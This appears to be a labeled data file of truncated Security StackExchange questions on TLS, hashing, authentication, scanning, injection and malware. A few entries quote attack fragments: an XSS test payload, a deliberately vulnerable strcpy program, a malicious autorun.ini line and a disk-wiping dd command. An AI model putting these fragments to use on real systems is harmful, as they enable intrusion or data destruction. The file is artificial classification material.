they differ in implementation of this issue ""Configure SSL Mutual (Two-way) Authentication"". I have to do it with Linux, and I don't know from ... ",['security'] "Title: Is it safe to allow users multiple login at different browsers & computers? Body: We are currently developing a web application. The developers have allowed multiple login. e.g an user can log-in to multiple computers at the same time. They are quoting Gmail account as an example ... ",['security'] "Title: Filehosting - Malicious or not? [closed] Body: I see a lot of file hosting services like rapidshare, mediafire etc. But, I wonder if some of them are malicious or not. Rapidshare seems okay, but there are many (obscure) sites like the ones below ... ",['security'] "Title: How to determine hashes/second in password cryptanalysis Body: I'm working on my dissertation concerning cryptanalysis on password hashes. As part of my research, I aim to crack a number of passwords with John the Ripper and rainbowcrack-mt. I'd like to ... ",['security'] "Title: Do Mobile Device Management solutions provide a mechanism for an internal website to know what kind of device is connecting? [closed] Body: Is there any mechanism in mobile device management solutions that would allow a web server (for an internal, authenticated system, e.g. SharePoint) to know that a request is coming from a mobile ... ",['security'] "Title: Security Scanning for Desktop Applications Body: Our company develops Windows desktop applications. We offer off the shelf solutions - not custom development. A potential new customer wants to add a section to our standard contract that requires ... ",['security'] "Title: Authenticating a ciphertext Body: what can be considered as a downside of authenticating a ciphertext? For example, can we say drawback of authenticating a ciphertext is that we lose repudiation, for example, we can't prove to the ... ",['security'] "Title: What are the valid characters which can be present in a session ID [can it have spaces] [closed] Body: I need to know what will the valid characters in a session id or in particular whether it can have spaces in it .? ",['security'] "Title: Dom xss posibility question? Body: I have this snippet of code : <script type=""text/javascript""> $.extend({ getUrlVars : function() { var vars = [], hash; ... ",['security'] "Title: Truncating the output of SHA256 to 128 bits Body: suppose we need/prefer 128 bit hash output. for example to generate a 128 bit encryption key or, in other applications (e.g. file integrity verifications), to consume less storage space. i don't know ... ",['security'] "Title: OpenSSL vs FIPS enabled OpenSSL Body: A deceptively simple question. How does OpenSSL compare to FIPS enabled OpenSSL? Is it any less secure? How do I tell? If I were concerned about security, not the NIST standard, is there any real ... ",['security'] "Title: SQL Injection - Extracting database data from the page content Body: I have a question I am hoping someone could help with.. I am in the process of writing an SQL Injection tool from scratch (I am aware there are already excellent tools out there such as SQL Map, but ... ",['security'] "Title: Has a HTTP server access to SSL session ID? Body: I want to know if a HTTP server (Apache, nginx etc.) can access a SSL/TLS session ID. Assume we have some hardware which does only SSL/TLS and behind a webserver which sends and receives the requests. ... ",['security'] "Title: Creation and deployment of self-signed certificates for a two-machine scenario Body: Let us assume that I have two computers: client server Now, in the server computer, I set up a legacy ASMX web service which will going to be used by the client. Before the client can connect to ... ",['security'] "Title: How to select secret identifier? Body: For an ecommerce website I need to create an identifier, that will represent the user's order. It can't be order's ID in database as it's assigned in predicateble manner. So it needs to be some ... ",['security'] "Title: Is there any security threat with open WiFi connection? Body: For a few days, my mobile device has been able to catch WiFi signals that are within its radius. It's not asking for a password to use the service. So, I'm using the WiFi service whenever I need to. ... ",['security'] "Title: How can I circumvent the lack of Java updates? Body: Just imagine you have a bunch of computers which need Java for some important software and you can't just switch to another vendor because all are using Java in this field of technology. If you start ... ",['security'] "Title: Switching to new encryption method (without losing data?) Body: Let's say you have a website that provides a service of some kind. Users can log in, they can store some kind of data, and there's various types of encryption in place to keep it all safe. Passwords ... ",['security'] "Title: Facebook Login for Intranet Body: How safe is Facebook Login? I'm currently building an intranet, for my small company. We're 10 employees, and no risk of them messing up from inside. But is using Facebook Login safe for this? How ... ",['security'] "Title: How to use NMap to portscan a SonicWall that is blocking all attemtps? Body: It seems that SonicWall is blocking attemtps to scan its ports. I know it has some ports open, like 443, because if I access using the browser I get a web site. But when I try to use NMap I can't see ... ",['security'] "Title: How to find IP Addresses that have been attacking my Computer Ports ? [closed] Body: I am a newbie at Info Sec, and wanted to know which IP addresses are sources of attack traffic. Can I also find out which ports are being attacked? Can this information be found in windows firewall? ... ",['security'] "Title: Webapp2 security Body: I am coding a REST web application that runs on Google App Engine, it authenticates API requests to privileged data using sessions by cookies provided by webapp2_extras.auth and ... ",['security'] "Title: Are latency based Proof-of-Work systems capable of preventing DDoS attacks on popular hidden tor services (.onion websites)? Body: I was reading an interesting article found here: http://www.cl.cam.ac.uk/techreports/UCAM-CL-TR-703.pdf It's titled ""Lazy Susan: dumb waiting as proof of work"". It suggested the following in section ... ",['security'] "Title: Security difference in wardriving open network versus monitoring traffic on a network to which I am authenticated Body: I have been listening to the CBT nuggets on comptia security+ and there were a few sections on wireless security. A question that occurred to me was: if I am authorized to use a wireless network, and ... ",['security'] "Title: how to identify plain text from cipher [closed] Body: I am trying to find what encryption algorithm has been used in this code original text: 11011698 encrypted text/cipher: uIC4hZFECIAYMi%20FWxamjQ== original text:11008569 encrypted text/cipher: ... ",['security'] "Title: Can robots.txt for your face be made effective? Body: As Google Glass slowly starts shipping, I've recently came across an article on stopthecyborgs.org that mirrors my anxieties that Google Glass currently does not feature a robots.txt for my face. It ... ",['security'] "Title: Isolating database? Is it possible? Body: I have been assigned CTF project for IT Security for my final year project in school. We are planning to have a flag that are base on SQL injection but for the user to overcome the challenge, they ... ",['security'] "Title: how secure is passwordcard.org? Body: How secure is passwordcard.org? Assuming user follows recommended precautions: Don't read along with your finger, or the smudge will tell a thief where your password is. Keep your PasswordCard on ... ",['security'] "Title: Is there any sense in using two-step authentication for personal email address? Body: There is two-step authentication available at gmail and outlook as well. There are some using it, but the majority doesn't. In what cases it is recommended? If I have a strong password what are the ... ",['security'] "Title: Organization like OWASP for network security? Body: Is there something like OWASP for Network Security ? Or have anyone of you come across a testing guide for network security, as to how to start an audit and then the minimum number of tests to run ... ",['security'] "Title: Vulnerability by leaving an open port in a pc Body: I have the following set-up. Home pc ---reverse ssh tunnel---> to linux server The reverse ssh tunnel is set-up so that on my home pc, port 22 is open, but I have nothing currently listening on that ... ",['security'] "Title: Spam that comes from names in my address book, but not their email addresses Body: I've recently received two spam messages that show a possibly worrying degree of knowledge about my contacts, and I'm wondering how concerned I should be. Specifically, the names -- but not the email ... ",['security'] "Title: Can Skype chat be protected from snooping? Are there safe alternatives? Body: I use Skype a lot. With all of my clients, staff, contractors and friends, however, the acquisition by Microsoft worries me, as two of my clients are direct MS competitors, and I often work on long ... ",['security'] "Title: How can police find out about criminal activity on an iPod Touch? Body: Higher authorities could easily find out about criminal activity - such as drug trafficking and child pornography - being conducted on a laptop simply by hacking into it or somehow seeing the history. ... ",['security'] "Title: WAF SQL evasion using HPF technique Body: I was reading an article on WAF evasion techniques http://www.slideshare.net/devteev/methods-to-bypass-a-web-application-firewall-eng. The article discuss two techniques HPP (HTTP parameter ... ",['security'] "Title: Using MD5 for file integrity checks? Body: General Always check the MD5 hashes of the .NET Framework assemblies to prevent the possibility of rootkits in the framework. Altered assemblies are possible and simple to produce. Checking ... ",['security'] "Title: Should the requirement of admin privileges be extended? Body: Seeing this comic from xkcd.com made me thinking: Is extending the requirement of admin privileges to things such as connecting to the internet, running the web browser, reading browser and other ... ",['security'] "Title: How can i deal with management who want 'Domain Admin' access? Body: While I primarily work with penetration testing for my company (A small/medium sized company with approx 50 employees), I'm also a part time member of their sys-admins team (it's handy to keep up-to ... ",['security'] "Title: Using a Web Server to steal NTLM credentials Body: I am trying to design an attack vector against an organization in which the pen tester (myself), steals NTLM credentials through HTTP. I am thinking of these scenarios: 1- I set up a web server on my ... ",['security'] "Title: IIS 7.5 impersonation threat? Body: I am using IIS 7.5 and I want to impersonate users for my different applications in an intranet environnement. To do so, I am considering using the asp.net mechanism with the user/password in the ... ",['security'] "Title: What is the distinguishing point between a script kiddie and a hacker? Body: When I think of a script kiddie I think of someone who might barely research a tool then point it at a website - things like the recent question about LOIC come to mind when I think of that. A hacker ... ",['security'] "Title: how can an attacker use a fake temp file to compromise a program? Body: I am taking a security class. The class notes say that an attacker can observe a pattern in temp file names and then make their own temp file to compromise a program. They say that if a temp file is ... ",['security'] "Title: RECon 2012 and before Body: Anyone knows where can I get materials/presentations/trainings from RECon 2012 and before? Is there any place where I could buy it or download it, if it's free - I doubt it, but who knows? ",['security'] "Title: Dataflow diagram - how far do I need to drill down? Body: I'm trying to create a DFD for a threat modeling exercise. How much detail should I get into? The SDL Threat Modeling guidelines state that I know that my DFD needs more detail when there is still ... ",['security'] "Title: What are the ways to implement two factor authentication? Body: We have devices that can generate tokens. So we can use tokens with passwords to perform two factor authentication. There are many ways to implement such systems to enhance security. One of two I ... ",['security'] "Title: Is it better to choose a single vendor or multiple vendors Body: A discussion came up at work recently and a debate ensued regarding choosing a vendor. Several people were of the opinion that it is smarter and easier to choose a single security vendor for all our ... ",['security'] "Title: CSRF protection - 'back pages' Body: OWASP suggests that when implementing CSRF protection any attempt to go 'Back' in the browser will cause issues as Interaction with this previous page will result in a CSRF false positive security ... ",['security'] "Title: DoSing my Home Network with only a Public IP address [closed] Body: +--------------------------------------------------------+ | Client Host Name |.. IP Address ..|.... MAC Address ...| | Desktop-Home ....| 192.168.1.100 | 00:19:D1:EA:03:68 | | GT-S5380K ... ",['security'] "Title: Offline registry analysis - Hardware info? Body: Is it possible to get information about the hardware from an offline version of HKLM/SOFTWARE hive? There is OEMInformation in there, which gives things like machine manufacturer, but does the machine ... ",['security'] "Title: Stopping DDOS TCP SYN and UDP flood attacks Body: I would like to know if it's possible to stop a TCP SYN OR ICMP Flood attacks if these attacks are detected at time. What is the most accurate process to filter these addresses if the only way is to ... ",['security'] "Title: What keeps Facebook information safe from botnets and infected computers? Body: I've read a few articles which suggest that somewhere around 30-50% of PC's are infected with malware. Supposing that means that hackers then have control of those computers to do as they please (root ... ",['security'] "Title: secure certain data on my webserver Body: I've developed a website where people add their sensitive data. Not credit cards, but lets say they share things about themselves which are private and it wouldn't be good if other people see that ... ",['security'] "Title: Two-factor authentication with ssh key authentication and yubikey? Body: OpenSSH won't invoke PAM at all if public key (RSA) authentication is configured and the client presents a valid key. So if you use key-based auth, you can't enforce 2FA easily. One workaround for ... ",['security'] "Title: how can you inject malicious code into an innocent-looking URL? Body: I am learning about XSS attacks. Wikipedia says that in a non-persistent attack an attacker may provide an innocent-looking URL that ""points to a trusted site but actually has an XSS vector."" What ... ",['security'] "Title: What is Virtual Machine Introspection? Body: I have seen it presented as a special security technique but it seems like it basically means automated security monitoring of your virtual environment. Is that the basic idea? ",['security'] "Title: What is the notion challenge in authetication? [closed] Body: Can someone help me what is a challenge in authentication wordbook? ",['security'] "Title: Is it possible to get the encryption key when you have the plaintext? Body: I have a question about SHA256. I know that this algorithm was used to encrypt a text, which I have. I also have the encrypted version of this text. My question is, can I somehow get to the encryption ... ",['security'] "Title: Benefits of Content Security Policy Body: I would like to know how really good is the content security policy header for preventing XSS considering the following : Many sites have inline JS / CSS. The request/ response headers can be ... ",['security'] "Title: Privacy violation even when queries with too few results are rejected Body: I was reading a Computing security book1 and saw a question regarding database security and privacy. I can't quite figure out the answer, so I thought I will ask here. One approach to ensure ... ",['security'] "Title: Why regenerating a password's hash? Body: I've read http://alias.io/2010/01/store-passwords-safely-with-php-and-mysql/ on how to store passwords using PHP and MySQL, the secure way. Elbert says: Use a cryptographically strong hashing ... ",['security'] "Title: Was DSA invented from RSA? Body: I'm wondering if the two algorithms are similar and whether DSA was really just based off RSA? Is DSA based on RSA and public key encryption? If so how does DSA introduce signing and makes it ... ",['security'] "Title: BEAST mitigation on a Cisco ACE 4710 load balancer Body: We are looking to mitigate BEAST (and similar) on our Cisco ACE appliance (running version A4(2.0)), which is the 'endpoint' for a handful of load-balanced services. Some of these service still run ... ",['security'] "Title: Bypass va_randomize_space and stack-protector Body: Is a program compiled with the GCC -fstack-protector option and running in a Linux environment with the va_randomize_space kernel variable set to 1, totally protected against buffer overflow attacks? ... ",['security'] "Title: Is there a way to encrypt an existing ext4 filesystem with already data on it? [duplicate] Body: I have a big drive with already data on it, that I would like to encrypt (ext4). Is there a way to encrypt that disk without having to move the data to another drive first? Or maybe, this would be ... ",['security'] "Title: Finding spam sending scripts? Body: What are the tips for finding email spam sending scripts? I ask because usually I hit a wall in shared hosting environments, so I ask this question as a way to get some insight from others. What I ... ",['security'] "Title: Picking exponents for Diffie-Hellman Body: I'm taking a class on Cryptography and the professor mentioned that given mod N and base g with a certain order, you should pick powers m and n such that they create a certain property with the order ... ",['security'] "Title: What rules should be enforced for users to create a strong password? Body: I'm looking for a definitive guide to the rules that determine a ""strong"" password for website authentication. It seems many websites have many different rules, and I'm not sure what is the best ... ",['security'] "Title: What's the most secure technique for authenticating user in a website? Body: I usually ask user for his username and password and run a query over database to return true or false, do you think it's secure enough? do you think it's better to add some steps to procedure? ",['security'] "Title: How can I protect my internet-connected devices from discovery by Shodan? Body: There's been a lot of buzz around this recent CNN article about Shodan, a search engine that can find and allow access to unsecured internet-connected devices. Shodan runs 24/7 and collects ... ",['security'] "Title: Self signed certificates for https Body: Where I work, currently for internal sites, self signed certificates are being used. In Firefox, the info regarding the certificate are displayed: site domain: xxx.com Owner: Site doesn't supply ... ",['security'] "Title: I found a virus on my USB stick. Now what? Body: I discovered a file, named autorun.ini on my USB flash drive: [AutoRun] ;FjYfoT ;jpId UagEbddsb PCjo oPEn = efhcnu.exe sheLl\open\DEfault=1 ;utvDpsMqpT dDustbemW XyAy WeywFbvaVA eQnK ... ",['security'] "Title: Is interpreted malware easier to detect than compiled malware? Body: Is compiled code more of a security risk than interpreted code? I'm under the impression that it is due to the fact that compiled code can hide malicious code from malware scans. ",['security'] "Title: What are the TCP/UDP ports used by torrent applications? Body: I want to block torrent traffic on my network because it is utilizing too much bandwidth and disrupted my network traffic. What port range should I use and what protocol TCP or UDP? ",['security'] "Title: Hardening JRE deployment - webjava Body: I am trying to set up some hardened deployment settings for Java for the end-users' machines on my network. I have my system wide deployment config and properties files set up: ... ",['security'] "Title: WPS vulnerability scanning for handshakes to detect the attack Body: I was able to sniff the EAP packets from the attacker machine with a wireless card on p-mode, however i was not able to sniff this data off the user using the same card under windows. Wireshark, did ... ",['security'] "Title: Preventing a spoofing man in the middle attack? Body: I was humming along with my usual routine of listening to old Defcon videos trying to understand some of the basics of what's going on in the IT Security world, when I came across one explaining man ... ",['security'] "Title: SQL Injection: Drop All Tables Body: I used some vulnerability scanners to check a site of mine, and an instance of blind SQL injection was returned. However, when I try to exploit this vulnerability by entering the following into the ... ",['security'] "Title: OTR and/or SecureIM library for C# .NET [closed] Body: I'm looking for implementations (or even wrappers) for OTR or SecureIM encrypted chat protocols usable from C#. Currently I found none, and considering porting Java OTR library and/or wrapping ... ",['security'] "Title: Why do browsers allow public websites to attack intranet sites? Body: When I'm visiting a website on the public internet, the website can cause my browser to send requests to a local IP address (such as 10.0.0.1). This can be used to attack internal web sites, e.g., ... ",['security'] "Title: SYN scan, TCP packet question Body: during SYN scans, many small tcp packets are sent to multiple ports to determine which ports are open or not. But when you're streaming media, aren't you receiving many One type of ID system, the ... ",['security'] "Title: SYN scan, determining scan vs large file upload Body: In a system attempting to detect SYN scans, one technique is to analyze the rate of change of (network packets sent from victim host per second). Processes such as uploading a large file would not be ... ",['security'] "Title: How does hashing work? Body: I have been interested in Information Security. I was recently introduced to the idea of hashing. What I currently understand about hashing is that it takes the password a user enters. Then it ... ",['security'] "Title: Can one reliably show HTTPS status in browser (not just the lock in the URL bar)? Body: I'm almost certain this isn't possible, as it would probably be too exploitable, but I wanted to ask the community just in case. Is there a way to determine and display the state of HTTPS on a page ... ",['security'] "Title: Accessing hidden partitons Body: I have two disks. They're both bootable and run Linux. When I physically mount the disks, I can see scsi devices get added. /dev/sdb and /dev/sdc. However the partitions are not detected. I can't see ... ",['security'] "Title: Are secret URLs secure over HTTPS? Body: Imagine a service that makes sensitive information available under a secret URL via HTTPS only, without requiring any other authentication. In fact, these are already widespread. What level of ... ",['security'] "Title: Client authentication vs. user authentication Body: I am currently looking into authentication protocols which work well with REST API, in java. There is something fundamental I don't understand: I read a lot of material about OAuth protocol, SSL, ... ",['security'] "Title: Why a web server HTTPS certificate can't sign its subdomain HTTPS certificates? Body: Why having a valid certificate for ""exampe.com"" I can't make a ""child"" certificate for ""subdomain.example.com""? What insecurities will arise if browsers start allowing domain's certificates to be ... ",['security'] "Title: opening up Active directory to cloud services? Body: We are testing SPAM/Virus cloud solutions and they can read active directory users and groups to help with users set-up and configuration. All they need from me is a user name, a password and the ... ",['security'] "Title: What does this injected code do? Body: One of my sites has just been hacked as this code has been inserted into random(?) files and places within the files. Does anyone understand what it is trying to do? I would welcome anything that may ... ",['security'] "Title: Following redirects from HTTPS to HTTP - Secure? Body: So I have an HTTP client which supports HTTPS. However, it doesn't follow the HTTP spec recommendation for redirects on POST(which is to ask the user before redirecting) This means, in theory, if you ... ",['security'] "Title: Man-in-the-middle scenario for TLS Body: Consider the following scenario: You want to securely communicate with a.com and you only trust the VeriSign root certificate. a.com presents a certificate signed by VeriSign with CN=a.com, so you ... ",['security'] "Title: Is this fprintf statement potentially vulnerable? Body: Here's the statement: fprintf(stderr, ""Some random string\n""). Is it okay not to have a format specifier, such as %s, even though the statement doesn't take any user input? Is it still potentially ... ",['security'] "Title: Is this Scenario Exploitable? Body: Here is the scenario: You get to overwrite 4 (consecutive) Bytes of a Userland Remote Process in Linux without Exploit Mitigation and without the ability to inject any Shellcode and you know the ... ",['security'] "Title: Man in the middle attacks for Out of band Authentication Body: I was researching on methods to avoid man in the middle attacks. I thought of using out of band authentication but i read the wikipedia article on the same topic which goes as follows: ""In ... ",['security'] "Title: How to stop a (malicious) endless loop Body: Few days ago someone tried to crack my site using a Remote File Inclusion attack. The attack was blocked by my Web Application Firewall, but I was curious about the file. So I downloaded it started to ... ",['security'] "Title: find hardware and OS specs on routers Body: How do you determine the model and IOS version of a Cisco router, if you have its IP address remotely, but have no physical access. For example, I run nmap -sP and can see the router's IP, but all ... ",['security'] "Title: Linux forensics questions (ssh config, user activity) Body: I'm a linux noob and have an assignment I'm a bit stumped on... We're given VirtualBox (vdi) images and raw files for the state of a linux server at 3 different dates. We're supposed to answer: ... ",['security'] "Title: DNS Amplification DDOS attack Body: During the weekend I made some tests to simulate an DNS Amplification DDOS attack. sending about 90Mb/s traffic I was able to generate about x.x Gb/s amplified traffic which sent our datacenter ... ",['security'] "Title: BOTs C&C channels Body: Can someone please explain the C&C for bots ? im reading a paper about Android bot , and its explaining something called URL flux as method of C&C . however i couldn't really get it , so ... ",['security'] "Title: Why improvising your own Hash function out of existing hash functions is so bad Body: I'm afraid I'll have tomatoes thrown at me for asking this old question, but here goes. After reading that cooking up your own password hash out of existing hashing functions is dangerous over and ... ",['security'] "Title: When hashing passwords, is it ok to use the hashed password as the salt? Body: I don't like this idea. But I can not come up with a technical argument against it. Can somebody explain it to me? The basic idea is: $passwd = 'foo'; $salt = hash($passwd); $finalHash = hash($passwd ... ",['security'] "Title: Is BackTrack 5 really the best OS to have in IT Security? [closed] Body: I am really interested in the chances of BackTrack. I can't really use it but there are many videos on the web which show that you can crack WiFi with it, etc... But against these illegal things, can ... ",['security'] "Title: Should a full disk encrypted hard drive on a live system be considered encryption at rest? Body: If you are specifying requirements that a certain classification of data be encrypted while at rest (on storage), should the requirement be considered met if the data is stored on an live (turned on) ... ",['security'] "Title: NTLMv2 resistance to bruteforcing Body: I have a question regarding NTLMv2 resistance to password bruteforcing. I know that some modern graphic processors (like Radeon 6990) are able to calculate billions hashes per second and crack NTLM ... ",['security'] "Title: secure website against the ping of death attacks Body: Any programmer is interested in securing his website. So I found this http://www.youtube.com/watch?v=DB4eMFrQYiY&feature=youtube_gdata_player which talks about crashing a website using cmd only. ... ",['security'] "Title: undetectable virtualization apps to spoof web browsers [closed] Body: monitoring web pages for malicious iframes (root kits) without VM is not safe. when its possible to detect virtualization just by javascript, which software provide undetectable VMs ? QEMU is safe? ",['security'] "Title: How do I diagnose client-side SSL errors? Body: Often on my home network I get random SSL certificate errors when I visit certain well-known sites. Today it was a Google SSL error, where Google apparently tried to identify itself as *.icloud.com. ... ",['security'] "Title: Is a password in the clipboard vulnerable to attacks? Body: I see situations where you may have to input the same password more than once. You may type it in a text editor and copy it to clipboard, to paste it two or more times. In what scenarios this could ... ",['security'] "Title: Time zone settings and leakage of location Body: When you set up your clock in Linux systems and select a timezone: How easily can sites access this information? Can they do it through Javascript? Can they do it if Javascript is blocked? Where ... ",['security'] "Title: Unlock hard drive vs full-disk encryption Body: When I turn my notebook on, it asks me for the password to unlock the BIOS and than it asks me for the password to unlock the hard drive. How different is this 'password to unlock the hard drive' ... ",['security'] "Title: Can password-protected zip files be broken without brute force? Body: You have a zip file that you created with 7z to password-protect it with AES 128. Can a smart adversary extract the data only through brute force, or is the file vulnerable to other attacks - such as, ... ",['security'] "Title: What kind of privacy leakage do stuff printed to stdout pose? Body: 1- When a program outputs to stdout, is that normally logged anywhere else? 2- When is it an issue to make a command verbose in printing to stdout instead of working quietly or redirecting to a file? ... ",['security'] "Title: Questions to hybrid encryption. RSA with AES Body: I want to use a hybrid encryption in my application, so after reading a lot of lines I ended with this implemantation, please critizie it ;) (I want to stick to .Net) byte[] aesKey = ... ",['security'] "Title: Detecting Virtualization from web browser Body: is that possible active adversaries who injecting malicious iframes (root kits), without Flash, Java or any other plugin detect that we using virtualization by javascript or timing differentials and ... ",['security'] "Title: How does DOCTYPE selection affect security of my AJAX app? Body: I'm considering using modern techniques to protect my Javascript code and am studying how the DOCTYPE element selection may impact that. Specifically, the linked question used IFrames which are not ... ",['security'] "Title: What is the easiest way to search massive, leaked databases for persons and personal information? Body: This may seem like a rather nefarious question, however, my motivations are quite the opposite-- I want to know how at risk I might be! A while ago a very MASSIVE database was leaked that contained ... ",['security'] "Title: Website vulnerability scanner in Java && Open Source Body: I am working on a Web platform that must-need-should have a good level of security. Therefore, I am interested in a good quality tool to test my Web platform QA on security. My main programming ... ",['security'] "Title: Why on earth would anyone use the 'top secret' option of IPv4? Body: So, I was reading RFC 791, and got to the bit about options (here). Everything seemed to be decent and sensible, until I got to the 'levels of security' part. Now, I can understand how, internally, ... ",['security'] "Title: Secure Development Environment for University dealing with private data Body: We are a development team within a state public university. Much of our development deals with working with private student and employee data. Some applications push data from internal databases out ... ",['security'] "Title: Can exploit vulnerability if program started with gdb, but segfaults if started without gdb Body: i'm currently trying to exploit a simple program called basic_vuln.c #include <stdio.h> int main(int argc, char** argv) { char buf[64]; strcpy(buf, argv[1]); } I'm using xubuntu ... ",['security'] "Title: What mode of operation is secure for block ciphers? Body: as RC4 is not secure and AES-CBC is same thing the only solution is using EAX mode for AES. but why mozilla NSS don't support EAX mod ? is there any secure EAX implementation ? and why wikipedia says ... ",['security'] "Title: Was WPS fixed (wifi)? Body: Rumors says that WPS bruteforce vuln doesn't work on never devices, now you have to brute all 10^7 pins. Is that true? ",['security'] "Title: Is it safe to suspend my computer if I'm using encrypted hard drive? Body: I'm using disk encryption to protect my data and sensitive information - but only one partition. I used to suspend my computer instead of shutting it down because of very fast resume and very low ... ",['security'] "Title: How do private photos get stolen Body: I'm not referring to any of the below: Spiteful partner sharing private photos of other after editing oneself out. Someone stealing photos from a professional photographer/artist without permission. ... ",['security'] "Title: Resources for building a network security curriculum Body: I am currently helping my teacher create a curriculum around IT Security because it isn't currently implemented. Some previous question had decent responses but I was wondering if there was more. My ... ",['security'] "Title: Symmetric or asymmetric encryption for JSON Web Token? Body: We're planning on using JSON Web Tokens (JWT) for our authentication server, and I am currently evaluating which encryption approach to take for the JWE token. There appear to be two options for ... ",['security'] "Title: Is TLS 1.2 client authentication really different from that earlier ersion of TLS Body: From wikipedia link (cannot post due to stackexchange constraints). ""http://www.yassl.com/yaSSL/Blog/Entries/2010/10/7_Differences_between_SSL_and_TLS_Protocol_Versions.html"" and and also from the ... ",['security'] "Title: What possible use does an iFrame have for security? Body: I'm looking at code for an old login form I'm redesigning. It's a simple table with two input fields for username and password. But just before the end </table> tag there's a blank iFrame which ... ",['security'] "Title: Inspecting “tidynetwork” element in chrome to find its origin on my laptop [closed] Body: Anyone heard of the ""TidyNetwork"" virus/malware? Is it possible to determine the origin of the ad that is created on web pages by Tidy by inspecting the element using developer tools? I am using ... ",['security'] "Title: Tools and methods for analyzing RNGs Body: What are the common tools and methods used for analyzing and attacking Random Number Generators? I know what characteristics make a good RNG and what a good RNG should do but I do not know how to ... ",['security'] "Title: How to bypass Nmap blockage? Body: I rent a server, and my provider seems to be blocking nmap. Is there any other tools I could use to test my home network from the outside? Also, does blocking nmap on a network provide any security? ... ",['security'] "Title: Snort (IDS) Don't show Port Scans Body: I have install Snort & acidbase by this instruction and access it through this local address 127.0.0.1/acidbase/base_main.php The problem is after scan it with nmap by this command sudo ... ",['security'] "Title: do different subnet masks on home network provide any security? Body: So I have two routers on my home network: one is provided by my ISP, and the other is my private router. Router A- ISP router: 192.168.1.x router B- private router: 192.168.2.x Clients on my ... ",['security'] "Title: Pedometer with strong privacy (no data in cloud, local analysis software, no iOS) [closed] Body: I wish to do 10,000 steps a day. Now searching for an accurate pedometer. I don't wish a cloud solution, data must be local and a nice analysis software. What do you recommend me? I am using a Mac. ",['security'] "Title: Should an invalid user name be logged? Body: While authenticating, should attempts with invalid user names be logged? OWASP Logging Cheat Sheet says that authentication failures must always be logged. I can observe several programs doing this, ... ",['security'] "Title: 404s with /like and /undefined Body: We recently got hacked and after cleaning the virus from our machine we pushed out site to go through cloudflare. Although I've noticed scanning attempts on the site have dropped we do for some reason ... ",['security'] "Title: Is appending a double quote at the end of an input query a valid XSS prevention method? Body: I was wondering if appending a double quote at the end of a query is considered a valid XSS filter. Let's say we have a search function and I entered: ""><script>alert('hi')</script> ... ",['security'] "Title: Setting up Windows laptops to require a smartcard for unlocking Body: I am looking for details on how to secure a windows laptop using smart cards. The scenario is that we have laptops in vehicles, which remotely connect (via https) to an application server over the ... ",['security'] "Title: Is using Google Voice number for two-factor authentication a big mistake? Body: Two-factor authentication is growing in popularity as a security measure. For example, Google, Facebook, Twitter, and many other services all have two-step security options today as well as many banks ... ",['security'] "Title: How would one go about becoming a Security Researcher Body: This question has probably been asked before on here but can any Security Researchers/Pentesters/Hackers point me in a direction to learn about becoming a Security Researcher and steps to take, ... ",['security'] "Title: What asymetric scheme provides the shortest signature, while being secure? Body: I've had a look at several signature schemes (DSA, ECDSA for the most common ones), and am wondering about whether there exist a scheme that would have the following properties : Be asymmetric (one ... ",['security'] "Title: Can I use any ssl certificate to sign and encrypt AS2 message? Body: I'm absolutely new to this topic of ssl certificates, so please be patient with me. My task is to install an AS2 communication with some business partner. Therefore we need message signing and ... ",['security'] "Title: Authorising use of apps from a public store with no back end service Body: I have a project I'm involved in which needs to distribute a mobile app to a specific audience. Due to regulatory restrictions in the target market, only this audience is allowed to access the data ... ",['security'] "Title: Brute Forcing Domain Controller Body: I have a MS-Server2K3 domain controller that also serves as a Exchange server. Due to recent network speed loss and issues I began looking at event logs and noticed an exceptionally large number of ... ",['security'] "Title: Setting up two way SSL Body: I am trying to setup two way SSL to communicate with partner web service. I understand I have to provide server certificate on client side. However, questions are: Is self signed certificate okay? ... ",['security'] "Title: Migrating GPG master keys as subkeys to new master key Body: Currently I have 3 private GPG pairs which are all master keys. I want to convert these keys into subkeys for a new key pair (and keep that in the vault). I have read the following thread ... ",['security'] "Title: How do I safely inspect a suspicious email attachment? Body: I received a pretty blatantly spammy email to my Gmail account. I'm not really sure how it made it through the spam filters, since it has all of the telltale signs. The FROM field is spoofed as ... ",['security'] "Title: How would you detect whether customer data has been leaked? Body: I'm a very security conscious (bordering paranoia) freelance web developer and I place a lot of emphasis on security with my clients, alas I've found this doesn't seem to be the case for the average ... ",['security'] "Title: What is SPL exploit? [closed] Body: I recently worked on a web project that uses Javascript and PHP to load its content from flickr API. I kept on getting this image show up and disappear immediately during first 2 or 3 seconds of the ... ",['security'] "Title: CRIME attack clarrification [duplicate] Body: I am not understanding CRIME attack completealy.. First an attacker runs a script to caputure the encrypted cookies later using the captured value an attacker try to bruteforce the next cookie ... ",['security'] "Title: Two-way SSL Performance Body: We are planning to use 2 way ssl instead of username/password token for authentication. Does anyone know what is the performance penalty for using 2 way SSL? ",['security'] "Title: GPG warns about unprotected subkeys while using monkeysphere Body: Issuing monkeysphere subkey-to-shh-agent GPG warns me: gpg: about to export an unprotected subkey then it asks for the passphrase and everything works fine. What's the meaning of ""export an ... ",['security'] "Title: csrss.exe process Body: I've experienced some odd behavior lately (cookies being cleared in Firefox, forcing me to log in again). Antivirus scans (MS Security Essentials, MalwareBytes) aren't showing anything, but Process ... ",['security'] "Title: Secure delete with urandom? [duplicate] Body: What recovery techniques (if any) exist that can recover data from a mechanical HDD if the user has filled the disk with a single run of dd if=/dev/urandom of=/dev/[disk]? Or in other words: is this ... ",['security'] "Title: Retrieve auto saved Skype password from Ubuntu 12.04 LTS Body: The email address I used to create Skype profile has been disabled and I can't get it back. Unfortunately, I don't remember the Skype password now. As the password is auto saved in my local machine I ... ",['security'] "Title: Is it safe to use public USB charging stations? [duplicate] Body: I'm beginning to see more and more public device charging stations — okay, they're still mostly in airports — that include USB outlets, not just regular power outlets. Are these safe to ... ",['security'] "Title: how does a sip flood attack work? Body: I understand that SIP is an application-level protocol that is used to setup/modify/end communication sessions for things like VOIP and instant messenger. I also understand that users can send request ... ",['security'] "Title: Temporary passwords e-mailed out as plain text Body: Is this a security issue? Many big ecommerce platform companies use this feature. Where if you forgot your password, they e-mail you a temp password. Could someone potentially figure out the ... ",['security'] "Title: Is the aggregate severity rating of “Important” for MS13-027 too low? Body: The Security Bulletin states that the ""Maximum Security Impact"" is ""Elevation of Privilege""; however, the SRD blog post says code execution is possible. Additionally, SRD says ""Other software that ... ",['security'] "Title: CSRF with OAuth or Bearer Authorization headers Body: I am designing a RESTful API which is to be accessible from a web browser. The API is protected by Basic authentication. I understand the concept of CSRF, and the mitigations proposed (I found both ... ",['security'] "Title: Windows “Send to compressed file” creates an image? [closed] Body: One of my friends windows laptops 